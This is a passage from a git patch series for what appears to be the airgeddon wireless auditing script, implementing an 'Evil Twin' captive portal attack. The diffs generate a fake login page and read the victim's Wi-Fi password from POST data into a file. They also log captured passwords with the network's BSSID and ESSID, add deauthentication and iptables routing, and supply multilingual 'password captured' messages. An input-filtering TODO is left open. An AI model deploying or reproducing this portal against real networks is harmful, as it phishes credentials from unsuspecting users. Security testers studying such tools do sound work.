"$tmpdir$webdir$cssfile" - echo -e "background-color: #43a047;" >> "$tmpdir$webdir$cssfile" - echo -e "padding: 20px;" >> "$tmpdir$webdir$cssfile" - echo -e "margin: 15px auto 0;" >> "$tmpdir$webdir$cssfile" - echo -e "border-radius: 15px;" >> "$tmpdir$webdir$cssfile" - echo -e "color: #ffffff;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "\twidth: 100%;" >> "$tmpdir$webdir$cssfile" + echo -e "\tbackground-color: #43a047;" >> "$tmpdir$webdir$cssfile" + echo -e "\tpadding: 20px;" >> "$tmpdir$webdir$cssfile" + echo -e "\tmargin: 15px auto 0;" >> "$tmpdir$webdir$cssfile" + echo -e "\tborder-radius: 15px;" >> "$tmpdir$webdir$cssfile" + echo -e "\tcolor: #ffffff;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" echo -e ".title {" >> "$tmpdir$webdir$cssfile" - echo -e "text-align: center;" >> "$tmpdir$webdir$cssfile" - echo -e "margin-bottom: 15px;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "\ttext-align: center;" >> "$tmpdir$webdir$cssfile" + echo -e "\tmargin-bottom: 15px;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" echo -e "#password {" >> "$tmpdir$webdir$cssfile" - echo -e "width: 100%;" >> "$tmpdir$webdir$cssfile" - echo -e "margin-bottom: 5px;" >> "$tmpdir$webdir$cssfile" - echo -e "border-radius: 5px;" >> "$tmpdir$webdir$cssfile" - echo -e "height: 30px;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "\twidth: 100%;" >> "$tmpdir$webdir$cssfile" + echo -e "\tmargin-bottom: 5px;" >> "$tmpdir$webdir$cssfile" + echo -e "\tborder-radius: 5px;" >> "$tmpdir$webdir$cssfile" + echo -e "\theight: 30px;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" echo -e "#password:hover," >> "$tmpdir$webdir$cssfile" echo -e "#password:focus {" >> "$tmpdir$webdir$cssfile" - echo -e "box-shadow: 0 0 10px #69f0ae;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "\tbox-shadow: 0 0 10px #69f0ae;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" echo -e ".bold {" >> "$tmpdir$webdir$cssfile" - echo -e "font-weight: bold;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "\tfont-weight: bold;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" echo -e "#showpass {" >> "$tmpdir$webdir$cssfile" - echo -e "vertical-align: top;" >> "$tmpdir$webdir$cssfile" - echo -e "}" >> "$tmpdir$webdir$cssfile" - - echo -e "(function() {" > "$tmpdir$webdir$jsfile" - echo -e "var onLoad = function() {" >> "$tmpdir$webdir$jsfile" - echo -e "var password = document.getElementById(\"password\");" >> "$tmpdir$webdir$jsfile" - echo -e "var showpass = function() {" >> "$tmpdir$webdir$jsfile" - echo -e "password.setAttribute(\"type\", password.type == \"text\" ? \"password\" : \"text\");" >> "$tmpdir$webdir$jsfile" - echo -e "}" >> "$tmpdir$webdir$jsfile" - echo -e "document.getElementById(\"showpass\").addEventListener(\"click\", showpass);" >> "$tmpdir$webdir$jsfile" - echo -e "document.getElementById(\"showpass\").checked = false;" >> "$tmpdir$webdir$jsfile" - echo -e "};" >> "$tmpdir$webdir$jsfile" - echo -e "document.readyState != 'loading' ? onLoad() : document.addEventListener('DOMContentLoaded', onLoad);" >> "$tmpdir$webdir$jsfile" - echo -e "})();" >> "$tmpdir$webdir$jsfile" + echo -e "\tvertical-align: top;" >> "$tmpdir$webdir$cssfile" + echo -e "}\n" >> "$tmpdir$webdir$cssfile" + + echo -e "(function() {\n" > "$tmpdir$webdir$jsfile" + echo -e "\tvar onLoad = function() {" >> "$tmpdir$webdir$jsfile" + echo -e "\t\tvar formElement = document.getElementById(\"loginform\");" >> "$tmpdir$webdir$jsfile" + echo -e "\t\tif (formElement != null) {" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\tvar password = document.getElementById(\"password\");" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\tvar showpass = function() {" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t\tpassword.setAttribute(\"type\", password.type == \"text\" ? \"password\" : \"text\");" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t}" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\tdocument.getElementById(\"showpass\").addEventListener(\"click\", showpass);" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\tdocument.getElementById(\"showpass\").checked = false;\n" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\tvar validatepass = function() {" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t\tif (password.value.length < 8) {" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t\t\talert(\"${et_misc_texts[$captive_portal_language,16]}\");" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t\t}" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t\telse {" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t\t\tformElement.submit();" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t\t}" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\t}" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t\tdocument.getElementById(\"formbutton\").addEventListener(\"click\", validatepass);" >> "$tmpdir$webdir$jsfile" + echo -e "\t\t}" >> "$tmpdir$webdir$jsfile" + echo -e "\t};\n" >> "$tmpdir$webdir$jsfile" + echo -e "\tdocument.readyState != 'loading' ? onLoad() : document.addEventListener('DOMContentLoaded', onLoad);" >> "$tmpdir$webdir$jsfile" + echo -e "})();\n" >> "$tmpdir$webdir$jsfile" + echo -e "function redirect() {" >> "$tmpdir$webdir$jsfile" + echo -e "\tdocument.location = \"$indexfile\";" >> "$tmpdir$webdir$jsfile" + echo -e "}\n" >> "$tmpdir$webdir$jsfile" echo -e "#!/bin/bash" > "$tmpdir$webdir$indexfile" + echo -e 'Content-type: text/html\n' >> "$tmpdir$webdir$indexfile" echo -e "echo ''" >> "$tmpdir$webdir$indexfile" echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo 'Internet'" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" - echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" - echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" - echo -e "echo '

${et_misc_texts[$captive_portal_language,9]}

'" >> "$tmpdir$webdir$indexfile" - echo -e "echo '$essid'" >> "$tmpdir$webdir$indexfile" - echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" - echo -e "echo '

${et_misc_texts[$captive_portal_language,10]}

'" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo '

${et_misc_texts[$captive_portal_language,12]}

'" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" - echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" - echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" - echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t${et_misc_texts[$captive_portal_language,15]}'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t\t

${et_misc_texts[$captive_portal_language,9]}

'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t\t$essid'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t

${et_misc_texts[$captive_portal_language,10]}

'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t

${et_misc_texts[$captive_portal_language,12]}

'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t\t'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t\t
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t\t
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo -e '\t'" >> "$tmpdir$webdir$indexfile" echo -e "echo ''" >> "$tmpdir$webdir$indexfile" echo -e "exit 0" >> "$tmpdir$webdir$indexfile" @@ -5442,39 +5484,57 @@ function set_captive_portal_page() { cat >&6 <<-EOF #!/bin/bash - #POST_DATA=$(cat /dev/stdin) + echo -e 'Content-type: text/html\n' echo '' echo '' - echo '' - echo '' - echo 'Internet' - echo '' - echo '' - echo '' - echo '' + echo -e '\t' + echo -e '\t\t' + echo -e '\t\t${et_misc_texts[$captive_portal_language,15]}' + echo -e '\t\t' + echo -e '\t\t' + echo -e '\t' + echo -e '\t' + echo -e '\t\t
' + echo -e '\t\t\t

' EOF + #TODO filter <>&*?./ chars to prevent hacker attacks + #maybe | sed -r "s/[<>*/&?.'\"]+//g" cat >&6 <<-'EOF' - #if [ "$REQUEST_METHOD" = "POST" ]; then - # if [ "$CONTENT_LENGTH" -gt 0 ]; then - # read -n $CONTENT_LENGTH POST_DATA <&0 - # fi - #fi - if [ "${REQUEST_METHOD}" = "POST" ] && [ ! -z "${CONTENT_LENGTH}" ]; then - read -n ${CONTENT_LENGTH} POST_DATA - fi - echo "1. $POST_DATA" + POST_DATA=$(cat /dev/stdin) [[ "$REQUEST_METHOD" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]] && [[ ${POST_DATA} =~ ^password=(.*)$ ]] && password="${BASH_REMATCH[1]}" - [[ -n ${password} ]] && echo 'Test. Reading POST
' && echo $password - [[ -z ${password} ]] && echo 'An error happened' && exit 1 - echo '' + if [[ ${#password} -ge 8 ]] && [[ ${#password} -le 63 ]]; then + echo "${password}" >> \ + EOF + + cat >&6 <<-EOF + "${tmpdir}${webdir}${attemptsfile}" + et_successful=1 + else + echo '${et_misc_texts[$captive_portal_language,14]}' + et_successful=0 + fi + EOF + + cat >&6 <<-EOF + echo -e '\t\t\t

' + echo -e '\t\t
' + echo -e '\t' echo '' - exit 0 EOF - exec 6>&- - #TODO filter <>&*?./ chars to prevent hacker attacks + cat >&6 <<-'EOF' + if [ ${et_successful} -eq 1 ]; then + exit 0 + else + echo '' + exit 1 + fi + EOF + exec 6>&- sleep 3 } From 9dc1e05cecdec807d89346dd23a9209e5bbb94af Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 1 Oct 2016 11:06:59 +0200 Subject: [PATCH 06/23] Captive portal attack finished. --- airgeddon.sh | 332 +++++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 285 insertions(+), 47 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 79e116702..a92ab8b24 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3,7 +3,7 @@ airgeddon_version="4.3" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 -debug_mode=1 +debug_mode=0 #Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 auto_update=1 @@ -140,6 +140,9 @@ checkfile="check.htm" cssfile="portal.css" jsfile="portal.js" attemptsfile="ag.et_attempts.txt" +currentpassfile="ag.et_currentpass.txt" +successfile="ag.et_success.txt" +processesfile="ag.et_processes.txt" possible_dhcp_leases_files=( "/var/lib/dhcp/dhcpd.leases" "/var/state/dhcp/dhcpd.leases" @@ -384,6 +387,78 @@ function language_strings() { et_misc_texts["russian",16]="Пароль должен быть не менее 8 символов" et_misc_texts["greek",16]="Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες" + et_misc_texts["english",17]="The password is incorrect, redirecting to the main screen" + et_misc_texts["spanish",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" + et_misc_texts["french",17]="Le mot de passe est incorrect, la redirection vers l'écran principal" + et_misc_texts["catalan",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" + et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a tela principal" + et_misc_texts["russian",17]="Неверный пароль, перенаправление на главный экран" + et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, τον αναπροσανατολισμό προς την κύρια οθόνη" + + et_misc_texts["english",18]="The password is correct, the connection will be restablished in a few moments" + et_misc_texts["spanish",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" + et_misc_texts["french",18]="Le mot de passe est correct, la connexion sera établie dans quelques instants" + et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restableix en uns moments" + et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" + et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" + et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα δημιουργηθεί σε λίγα λεπτά" + + et_misc_texts["english",19]="Airgeddon. Captive portal Evil Twin attack captured password" + et_misc_texts["spanish",19]="Airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" + et_misc_texts["french",19]="Airgeddon. Mot de passe capturé sur le portail Evil Twin attaque captive" + et_misc_texts["catalan",19]="Airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" + et_misc_texts["portuguese",19]="Airgeddon. Senha capturado no ataque Evil Twin portal cativo" + et_misc_texts["russian",19]="Airgeddon. Пароль захватили на адаптивный портал Зла атаки Твин" + et_misc_texts["greek",19]="Airgeddon. Κωδικός πρόσβασης συλληφθεί για την αιχμαλωσία πύλη Evil Twin επίθεση" + + et_misc_texts["english",20]="Attempts" + et_misc_texts["spanish",20]="Intentos" + et_misc_texts["french",20]="Essais" + et_misc_texts["catalan",20]="Intents" + et_misc_texts["portuguese",20]="Tries" + et_misc_texts["russian",20]="пытается" + et_misc_texts["greek",20]="προσπαθεί" + + et_misc_texts["english",21]="last password:" + et_misc_texts["spanish",21]="última contraseña:" + et_misc_texts["french",21]="dernier mot de passe:" + et_misc_texts["catalan",21]="última contrasenya:" + et_misc_texts["portuguese",21]="última senha:" + et_misc_texts["russian",21]="последний пароль:" + et_misc_texts["greek",21]="τελευταία κωδικό:" + + et_misc_texts["english",22]="Captured passwords on failed attemps" + et_misc_texts["spanish",22]="Contraseñas capturadas en intentos fallidos" + et_misc_texts["french",22]="Les mots de passe saisis dans les tentatives infructueuses" + et_misc_texts["catalan",22]="Contrasenyes capturades en intents fallits" + et_misc_texts["portuguese",22]="Senhas capturadas em tentativas falhadas" + et_misc_texts["russian",22]="Пароли, захваченные в неудачных попыток" + et_misc_texts["greek",22]="Οι κωδικοί πρόσβασης δεν σταματούν σε αποτυχημένες προσπάθειες" + + et_misc_texts["english",23]="Password captured successfully" + et_misc_texts["spanish",23]="Contraseña capturada con éxito" + et_misc_texts["french",23]="Mot de passe capturé avec succès" + et_misc_texts["catalan",23]="Contrasenya capturada amb èxit" + et_misc_texts["portuguese",23]="Senha capturada com sucesso" + et_misc_texts["russian",23]="Пароль успешно захватили" + et_misc_texts["greek",23]="Κωδικός πρόσβασης κατέλαβε με επιτυχία" + + et_misc_texts["english",24]="The password was saved on file" + et_misc_texts["spanish",24]="La contraseña se ha guardado en el fichero" + et_misc_texts["french",24]="Le mot de passe est enregistré dans le fichier" + et_misc_texts["catalan",24]="La contrasenya s'ha guardat en el fitxer" + et_misc_texts["portuguese",24]="A senha é guardada no arquivo" + et_misc_texts["russian",24]="Пароль сохраняется в файле" + et_misc_texts["greek",24]="Ο κωδικός πρόσβασης αποθηκεύεται στο αρχείο" + + et_misc_texts["english",25]="Press Enter on the main script window to continue, this window will be closed" + et_misc_texts["spanish",25]="Pulsa Enter en la ventana principal del script para continuar, esta ventana se cerrará" + et_misc_texts["french",25]="Appuyez sur Entrée dans la fenêtre principale du script de continuer, cette fenêtre se fermera" + et_misc_texts["catalan",25]="Prem Enter a la finestra principal del script per continuar, aquesta finestra es tancarà" + et_misc_texts["portuguese",25]="Pressione Enter na janela principal do script para continuar, esta janela será fechada" + et_misc_texts["russian",25]="Нажмите Enter в главном окне сценария для продолжения, это окно будет закрыто" + et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του σεναρίου για να συνεχίσει, αυτό το παράθυρο θα κλείσει" + declare -A arr arr["english",0]="This interface $interface is already in managed mode" arr["spanish",0]="Esta interfaz $interface ya está en modo managed" @@ -2675,7 +2750,7 @@ function language_strings() { arr["english",286]="If you don't have a captured Handshake file from the target network you can get it using this script choosing the appropriate submenu option before coming here to launch this attack" arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo con este script en el submenú adecuado antes de venir aquí a lanzar este ataque" - arr["french",286]="$pending_of_translation Si vous ne disposez pas d'un fichier de Handshake capturé de la cible réseau peut obtenir avec ce script dans le sous-menu approprié avant de venir ici pour lancer cette attaque" + arr["french",286]="Si vous ne disposez pas d'un fichier avec un Handshake provenant du réseau cible, vous pouvez effectuer l'attaque pour l'obtenir depuis le sous menu dédiée et revenir ensuite ici" arr["catalan",286]="Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo amb aquest script en el submenú adequat abans de venir aquí a llançar aquest atac" arr["portuguese",286]="$pending_of_translation Se você não tem um arquivo handshake capturado a partir do alvo da rede pode obtê-lo com este script no submenu apropriado antes de vir aqui para lançar este ataque" arr["russian",286]="$pending_of_translation Если у вас нет файла квитирующего захваченного из целевой сети может получить его с помощью этого сценария в соответствующем подменю до приезда сюда, чтобы запустить эту атаку" @@ -2867,70 +2942,70 @@ function language_strings() { arr["english",310]="Handshake file selected: "${pink_color}"None"${normal_color} arr["spanish",310]="Fichero de handshake seleccionado: "${pink_color}"Ninguno"${normal_color} - arr["french",310]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"Aucun"${normal_color} + arr["french",310]="Fichier Handshake sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",310]="Fitxer de handshake seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",310]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",310]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"None"${normal_color} arr["english",311]="Handshake file selected: "${pink_color}"$et_handshake"${normal_color} arr["spanish",311]="Fichero de handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} - arr["french",311]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} + arr["french",311]="Fichier handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} arr["catalan",311]="Fitxer de handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} - arr["portuguese",311]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} + arr["portuguese",311]="$pending_of_translation Arquivo handshake selecionado: "${pink_color}"$et_handshake"${normal_color} arr["russian",311]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$et_handshake"${normal_color} arr["english",312]="No selected Handshake file detected during this session..." arr["spanish",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." - arr["french",312]="$pending_of_translation Aucun fichier Handshake sélectionné détecté durant cette session..." + arr["french",312]="Aucun fichier Handshake valable a été sékectionné pour cette session..." arr["catalan",312]="No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." arr["portuguese",312]="$pending_of_translation Não é detectado arquivo Handshake selecionado nesta sessão..." arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." arr["english",313]="Handshake selected file detected during this session ["${normal_color}"$et_handshake"${blue_color}"]" arr["spanish",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión ["${normal_color}"$et_handshake"${blue_color}"]" - arr["french",313]="$pending_of_translation Fichier Handshake détecté sélectionné dans cette session "${normal_color}"$et_handshake"${blue_color}"]" + arr["french",313]="Le fichier handshake suivant a été détecté comme étant sélectionné pour cette session ["${normal_color}"$et_handshake"${blue_color}"]" arr["catalan",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" arr["portuguese",313]="$pending_of_translation Arquivo Handshake detectado selecionado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" arr["english",314]="Handshake file selected: "${pink_color}"$enteredpath"${normal_color} arr["spanish",314]="Fichero de handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} - arr["french",314]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"$enteredpath"${normal_color} + arr["french",314]="Fichier handshake sélectionné: "${pink_color}"$enteredpath"${normal_color} arr["catalan",314]="Fitxer de handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} - arr["portuguese",314]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} + arr["portuguese",314]="$pending_of_translation Arquivo handshake selecionado: "${pink_color}"$enteredpath"${normal_color} arr["russian",314]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$enteredpath"${normal_color} arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file. Network data for the attack will be obtained from the file" arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2. Los datos de la red para el ataque serán obtenidos del fichero" - arr["french",315]="$pending_of_translation Cette attaque exige que vous avez déjà capturé un fichier à partir d'un réseau Handshake WPA/WPA2. Réseau de données pour l'attaque être obtenu à partir du fichier" + arr["french",315]="Vous devez déjà avoir capturé un handshke WPA/WPA2 pour pouvoir lancer cette attaque. Les données employées pour l'attaque proviennent du fichier de captures" arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2. Les dades de la xarxa per a l'atac seran obtinguts del fitxer" arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2. Rede de dados para o ataque ser obtido a partir do ficheiro" arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2. Сеть передачи данных для атаки можно получить из файла" arr["english",316]="For this attack is automatically selected Aireplay deauth method" arr["spanish",316]="Para este ataque se ha seleccionado automáticamente el método de desautenticación Aireplay" - arr["french",316]="$pending_of_translation Pour cette attaque est automatiquement sélectionné la méthode deauth Aireplay" + arr["french",316]="Avec cette attaque la méthode de desautentificacion est configurée automatiquement" arr["catalan",316]="Per aquest atac s'ha seleccionat automàticament el mètode de desautenticació Aireplay" arr["portuguese",316]="$pending_of_translation Para este ataque é selecionado automaticamente o método deauth Aireplay" arr["russian",316]="$pending_of_translation Для этой атаки автоматически выбирается метод deauth Aireplay" arr["english",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. "${green_color}"Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_et_captive_portal_logpath]" arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" - arr["french",317]="$pending_of_translation Si le mot de passe pour le réseau sans fil avec le portail captif est atteint, décider où enregistrer. "${green_color}"Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_et_captive_portal_logpath]" + arr["french",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. "${green_color}"Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_et_captive_portal_logpath]" arr["catalan",317]="$pending_of_translation Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" arr["portuguese",317]="$pending_of_translation Se a senha da rede wifi com o portal cativo é alcançado, decidir onde para salvar. "${green_color}"Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_et_captive_portal_logpath]" arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" arr["english",318]="Choose the language in which network clients will see the captive portal :" arr["spanish",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" - arr["french",318]="$pending_of_translation Choisissez la langue dans laquelle les clients du réseau verront le portail captif :" + arr["french",318]="Choisissez la langue dans laquelle les clients du réseau verront le portail captif :" arr["catalan",318]="$pending_of_translation Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" arr["portuguese",318]="$pending_of_translation Escolha o idioma em que os clientes da rede verá o portal cativo :" arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" arr["english",319]="The captive portal language has been established" arr["spanish",319]="Se ha establecido el idioma del portal cautivo" - arr["french",319]="$pending_of_translation La langue a été mis en place un portail captif" + arr["french",319]="La langue pour le portail captif est activée" arr["catalan",319]="$pending_of_translation S'ha establert l'idioma del portal captiu" arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" @@ -4524,7 +4599,8 @@ function select_wpa_bssid_target_from_captured_file() { if [ ${yesno} = "y" ]; then bssid=${targetbssid} if [ "$2" = "evil_twin" ]; then - essid=essids_detected[${target_number}] + target_number=$[target_number + 1] + essid=${essids_detected["$target_number"]} fi return 0 fi @@ -5054,6 +5130,7 @@ function exec_et_captive_portal_attack() { set_webserver_config set_captive_portal_page launch_webserver + write_et_processes echo language_strings ${language} 298 "yellow" @@ -5197,7 +5274,7 @@ function set_std_internet_routing_rules() { iptables -t nat -A POSTROUTING -o ${internet_interface} -j MASQUERADE iptables -A INPUT -p icmp --icmp-type 8 -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT - #iptables -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP + iptables -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP sleep 2 } @@ -5262,14 +5339,100 @@ function exec_et_deauth() { function set_control_script() { - #TODO set control rules for captive portal - rm -rf "$tmpdir$control_file" > /dev/null 2>&1 - exec 3>"$tmpdir$control_file" + exec 7>"$tmpdir$control_file" - cat >&3 <<-'EOF' + cat >&7 <<-EOF #!/bin/bash + if [ "${et_mode}" = "et_captive_portal" ]; then + path_to_processes="${tmpdir}${webdir}${processesfile}" + attempts_path="${tmpdir}${webdir}${attemptsfile}" + attempts_text="${blue_color}${et_misc_texts[$language,20]}:${normal_color}" + last_password_msg="${blue_color}${et_misc_texts[$language,21]}${normal_color}" + EOF + + cat >&7 <<-'EOF' + function kill_et_windows() { + + et_processes_to_kill=$(cat "$path_to_processes") + for item in ${et_processes_to_kill[@]}; do + kill ${item} &> /dev/null + done + } + EOF + + cat >&7 <<-EOF + function finish_evil_twin() { + + echo "" > "${et_captive_portal_logpath}" + EOF + + cat >&7 <<-'EOF' + echo $(date +%Y-%m-%d) >> \ + EOF + + cat >&7 <<-EOF + "${et_captive_portal_logpath}" + echo ${et_misc_texts[$language,19]} >> "${et_captive_portal_logpath}" + echo "" >> "${et_captive_portal_logpath}" + echo "BSSID: ${bssid}" >> "${et_captive_portal_logpath}" + echo ${et_misc_texts[$language,1]}": ${channel}" >> "${et_captive_portal_logpath}" + echo "ESSID: ${essid}" >> "${et_captive_portal_logpath}" + echo "" >> "${et_captive_portal_logpath}" + echo "---------------" >> "${et_captive_portal_logpath}" + echo "" >> "${et_captive_portal_logpath}" + success_pass_path="${tmpdir}${webdir}${currentpassfile}" + msg_good_pass="${et_misc_texts[$language,11]}:" + log_path="${et_captive_portal_logpath}" + log_reminder_msg="${pink_color}${et_misc_texts[$language,24]}: [${normal_color}${et_captive_portal_logpath}${pink_color}]${normal_color}" + done_msg="${yellow_color}${et_misc_texts[$language,25]}${normal_color}" + echo -e "\t${blue_color}${et_misc_texts[$language,23]}:${normal_color}" + echo + EOF + + cat >&7 <<-'EOF' + echo 